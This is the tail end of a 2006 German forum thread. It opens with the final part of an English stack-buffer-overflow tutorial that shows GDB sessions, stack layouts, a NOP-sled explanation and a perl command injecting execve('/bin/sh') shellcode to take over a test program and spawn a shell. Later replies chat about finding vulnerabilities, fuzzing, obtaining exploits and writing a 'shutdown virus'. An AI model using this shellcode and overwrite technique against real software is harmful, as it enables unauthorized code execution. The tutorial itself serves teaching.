    Continuing.
    sh-2.05b$
     
    Our shellcode was sucessfuly executed.
     
    Now the stack layout after success execution:
     
     32 bits
    0xbfffffff ------------------------- -------------------------+
     | | bof() |
     | char *string | |
     | | |
     |------------------------| NEW STACK FRAME |
     | SAVED EIP (0xbffffc64) |<--+ |
     |------------------------| | |
     | SAVED EBP (0x80cd0bb0) | | |
     |------------------------| --|---------------------|
     | SHELLCODE |<--+ Malicous buffer |
     |------------------------| | (272bytes) |
     | A x 244 | | |
     |------------------------|---+---------------------+
     | |
     |------------------------|
     | .text |
     |------------------------|
     | call bof() @ main |
    0x08040000 |------------------------|
     | |
     |------------------------|
     | shared libraries |
    0x08000000 |------------------------|
     
    The NOP idea is simple. A NOP is an instruction that does nothing. 
    It only takes up space. (Incidentally, the NOP was originally created 
    for debugging.) Since the NOP is only a single byte long, it is immune 
    to the problems of byte ordering and alignment issues.
    The trick involves filling our buffer with NOPs before the actual payload. If
    we incorrectly guess the address of the payload, it will not matter, as long as we
    guess an address that points somewhere in a NOP sled. Since the entire buffer is
    full of NOPs, we can guess any address that lands in the buffer. Once we land
    on a NOP, we will begin executing each NOP. We slide forward over all the
    NOPs until we reach our actual payload. The larger the buffer of NOPs, the less
    precise we need to be when guessing the address of our payload. Let's see:
     
    (gdb) run `perl -e 'print "\x90"x244,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53
    \x89\xe1\x99\xb0\x0b\xcd\x80","CCCC"'`
    Starting program: /home/xgc/simple_stack `perl -e 'print "\x90"x244,"\x31\xc0\x50\x68
    //sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","CCCC"'`
     
    Breakpoint 1, 0x08048404 in main ()
    1: x/i $eip 0x8048404 <main+27>: call 0x80483c4 <bof>
    (gdb) c
    Continuing.
     
    Program received signal SIGSEGV, Segmentation fault.
    0x43434343 in ?? ()
    1: x/i $eip 0x43434343: add %al,(%eax)
    (gdb) x/128xb $esp
     .
     .
     .
    0xbffffc30: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffffc38: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffffc40: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffffc48: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffffc50: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffffc58: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffffc60: 0x90 0x90 0x90 0x90 0x31 0xc0 0x50 0x68
    0xbffffc68: 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69
    0xbffffc70: 0x6e 0x89 0xe3 0x50 0x53 0x89 0xe1 0x99
    0xbffffc78: 0xb0 0x0b 0xcd 0x80 0x43 0x43 0x43 0x43
     
    Shellcode address can be now any address of NOP. Let's choice 0xbffffc38,
    insert at our cdm line in GDB, in little endian format, and re-execute GDB.
     
    (gdb) run `perl -e 'print "A"x244,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53
    \x89\xe1\x99\xb0\x0b\xcd\x80","\x38\xfc\xff\xbf"'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
     
    Starting program: /home/xgc/simple_stack `perl -e 'print "A"x244,"\x31\xc0\x50\x68
    //sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x38\xfc\xff\xbf"'`
     
    Breakpoint 1, 0x08048404 in main ()
    1: x/i $eip 0x8048404 <main+27>: call 0x80483c4 <bof>
    (gdb) c
    Continuing.
     
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x40000c20 in ?? () from /lib/ld-linux.so.2
    1: x/i $eip 0x40000c20 <completed.1+939226576>: mov %esp,%eax
    (gdb) c
    Continuing.
    sh-2.05b$
     
    Our shellcode was sucessfuly executed.
     
     
    ---------[ 0x1b0 - Conclusion ]
     
    I've described the most known and basic stack overflow module. Different methods
    can be used if the buffer isn't big enough for the shellcode or if some Stack
    protections are installed. Coming soon theses methods will be described also.
     
    |=-----------------------------------------------------------------------------=|
    edit :// vlt hät ichs in den anhang packen sollen^^
    wer sich als modem user diskriminiert fühlt, darf gerne pm schreiben
     
  5. 17. Juli 2006
    es gibt übrigens noch weitere, als die oben genannten remote exploits.
    z.B. privilege escalation sploits oder
    (zumindest rein formal) DoS exploits (to exploit = ausnutzen (von sicherheitslücken))

    finden tust du solche lücken, in dem du den sourcecode der verwendeten demons durchforstest.
    am leichtesten finden sich eigentlich fehler in php seiten. da schleicht sich relativ schnell mal ein nicht escapedter string ein oder eine directory traversal möglichkeit, wenn das apache sicherheitsmodul nich geladen ist (name grad entfallen)
    alternativ ist ein sicherer apache eh in einem chroot/jail zu plazieren
     
  6. 17. Juli 2006
    Wenn du den Quellcode hast, diesen nach Schwachstellen durchsuchen.
    Wenn du den Code nicht hast ist fuzzing sehr vielversprechend.
    22C3: Fuzzing
    Fuzz testing - Wikipedia, the free encyclopedia

    sry aber ich verstehe nur Bahnhof..
     
  7. 17. Juli 2006
    Najo, wenn du eine Programmiersprache kannst und nen sourcecode dazu hast kannst du nach lücken im Programm suchen und damit durch schwachstellen rein
    Es gibt verschiedene Exploits, es gibt Remote Exploits die du auf deinem
    Rechner startest und nur die Adresse eingeben musst (von dem Opfer)
    es gibt auch Exploits die man im System (vom Opfer selbst) ausführen kann usw.

    Mehr dazu findest du
    Hier -> http://de.wikipedia.org/wiki/Exploits
     
  8. 19. Juli 2006
    @ moep_rush

    exploits kann ich am laufenden Band besorgen, aber richtige Doku allgemein zu finden ist Problematisch.
     
  9. 19. Juli 2006
    ich weiss nicht, ob es schon geschrieben wurde. aber wenn du diese exploits nutzen möchtest, machst du das gewöhnlich über die eingabeaufforderung und dazu brauchst du active perl
    damit kannst du dir die dinger auch selber schreiben :=) ich probier mich damit gleich mal an nem einfachen shutdown virus
     
  10. 20. Juli 2006
    Cool,
    kannt mir Bitte sagen wie es gleufen ist.
    Schreibe mir Bitte ne PN, halte mich auf den laufenden.

    MFG.
     
  11. 20. Juli 2006
    1.) seit wann sind alle exploits in perl geschrieben ?
    2.) was ist an nem shutdown befehl ein virus...?
    ^^

    mahlzeit
     
  12. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.